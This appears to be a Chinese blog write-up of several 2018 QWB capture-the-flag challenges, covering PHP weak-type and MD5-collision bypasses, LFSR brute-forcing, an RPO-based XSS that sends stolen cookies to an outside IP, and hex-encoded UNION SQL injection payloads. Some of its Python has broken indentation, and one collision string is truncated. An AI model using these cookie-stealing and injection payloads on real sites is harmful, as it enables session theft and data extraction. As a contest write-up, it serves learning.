第二届强网杯-部分wp

  1. 签到
  2. web签到
  3. share you mind
  4. streamgame1
  5. streamgame2
  6. Three hit Web

#第二届强网杯-部分wp

签到

flag{welcome_to_qwb}

web签到

=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较

第一关

这个就是标准的弱类型了
取md5之后为0e开头的字符串,如
param1=240610708
param2=s878926199a
第二关

考察php的弱类型和数组绕过基础,都是恨经典的题
这道题不能用弱类型绕过,但是可以用数组导致md5()函数报错返回空,空===空符合条件,得到Flag。
param1[]=1&param2[]=2
第三关
这道题可以用hash碰撞解决,字符串:

param1=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%87%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25qAZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BD%F2%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E2%B4%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%A8%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%2Bo%F7%2Ap
param2=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%07%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25%F1AZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BDr%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E24%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%28%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%ABo%F7%2Ap

另外还有一种方式可以把三关过掉就是使用md5碰撞

param1=o%BC%FA%5C%0EiG%CA%1C%D7%DB%B4%E0%9B%FCF%A78%0Aj%18%B5%C3Q%0C%9A%82%CE%27%A4Cf%4
0%B1%FC%D6%DC%8D%DF%05%EB%B9%DF%5B%18%88%D4%A6%05%956%BC%EC-%3E%90%0F%26%FA%2C%AA%21%25%20g%A7%DB%EA%DB%89%05%A7%07%0D%14dS%20S%FB%90%B5%8A%C4T%E5%B2L%20%95%1C6%CD%17N%CE-%80%7B%9C%1E%8DN%26%1A%3A%11%BA%9E%B4%11%BD%04%99%0F%E1%9D%C4%D3%E2%D
8%9E%B8%E6%7F%B3%E9%06&param2=o%BC%FA%5C%0EiG%CA%1C%D7%DB%B4%E0%9B%FCF%A78%0A%EA%18%B5%C3Q%0C%9A%82%CE%27%A4Cf

##welcome
改名.jpg

放入stegsolve
stereogram slover移位操作

offset 80

share you mind


发现js有rpo漏洞,其中内容可由编写的文章成为js。
参考文章:blog.nsfocus.net/rpo-attack/
https://lorexxar.cn/2017/05/12/xss-bot2/

http://39.107.33.96:20000/index.php/view/article/4643/%2f..%2f..%2f..%2f..%2f

提示是Try to get the cookie of path “/QWB_fl4g/QWB/”获取目录下的cookie
所以先获取了一下cookie,发现没有flag

b=document.cookie;a="<img src=//115.29.36.83:23338/"+btoa(b)+">";document.write(a);

但是有提示是Try to get the cookie of path “/QWB_fl4g/QWB/“

那就是获取目录下的cookie

var i = document.createElement("iframe");
i.setAttribute("src", "/QWB_fl4g/QWB/");
document.body.appendChild(i);
i.addEventListener( "load", function(){
  var content = i.contentWindow.document.cookie;
  location='//115.29.36.83:23338/'+btoa(content);
}, false);

再利用eval包含住String.fromCharCode即可,payload长度还有些限制。

QWB{flag_is_f43kth4rpo}

streamgame1

下载得到一个文件 末尾添加.zip
解压得到两个文件一个key 一个加密的py文件
所以查看py文件得到key加密算法
发现可以爆破
所以写如下脚本

python
# coding=utf-8  

def lfsr(R, mask):  
    output = (R << 1) & 0xffffff 
   i = (R & mask) & 0xffffff 
   lastbit = 0  
   while i != 0:  
        lastbit ^= (i & 1)  
        i = i >> 1 
   output ^= lastbit  
    return (output, lastbit)  


def main1(flag):  
    R = flag  
   mask = 0b1010011000100011100 

   f = open("key1", "wb")  
    for i in range(12): 
   tmp = 0  
   for j in range(8):  
            (R, out) = lfsr(R, mask)  
            tmp = (tmp << 1) ^ out  
        f.write(chr(tmp))  
    f.close()  


key = open('key', 'rb')  
key1 = key.read()  
for x in range(524288, -1, -1):  
    main1(x)  
    key2 = open('key1', 'rb')  
    result = key2.read()  
    if (result == key1):  
        print x  
        break  
   key2.close()

爆破得到
481387
flag{1110101100001101011}

streamgame2

下载得到一个文件 末尾添加.zip
解压得到两个文件一个key 一个加密的py文件
所以查看py文件得到key加密算法
与上一道题相似脚本如下

python
# coding=utf-8  
def lfsr(R, mask):  
    output = (R << 1) & 0xffffff  
   i = (R & mask) & 0xffffff  
   lastbit = 0  
   while i != 0:  
        lastbit ^= (i & 1)  
        i = i >> 1  
   output ^= lastbit  
    return (output, lastbit)  


def main1(flag):  
    R = flag  
    mask = 0x100002  

   f = open("key1", "wb")  
    for i in range(12):  
        tmp = 0  
   for j in range(8):  
            (R, out) = lfsr(R, mask)  
            tmp = (tmp << 1) ^ out  
        f.write(chr(tmp))  
    f.close()  
key = open('key', 'rb')  
key1 = key.read()  
for x in range(0b111111111111111111111 \+ 1, -1, -1):  
    main1(x)  
    key2 = open('key1', 'rb')  
    result = key2.read()  
    if (result == key1):  
        print x  
        break  
   key2.close()

flag{110111100101001101001}

Three hit Web

注册将用户名,密码,年龄写入数据库,登录过后将年龄显示出来
思路:每次注册一个用户,注入点放进age,登录查看

注册提交age显示只能为数字,age用16进制提交,16进制提交不会对%23url解码,所以用–代替

payload:

username=Str3am1&age=0x2d3636363636363636363636363636363636363636363636363620756e696f6e2073656c65637420312c322c332c34206c696d697420312c312d2d&password=1

因为每次都会将年龄写入数据库里面,所以每次都需要修改年龄的值

username=Str3am11&age=0x2d36363636363636363636363636363636363636363636363620756e696f6e2073656c65637420312c2873656c65637420666c61672066726f6d20666c6167292c332c34206c696d697420312c312d2d&password=1


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 951207194@qq.com

文章标题:第二届强网杯-部分wp

文章字数:1,190

本文作者:Mang0

发布时间:2018-04-02, 16:08:51

最后更新:2018-11-02, 21:52:18

原始链接:http://mang0.me/archis/2ccf6cb2/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏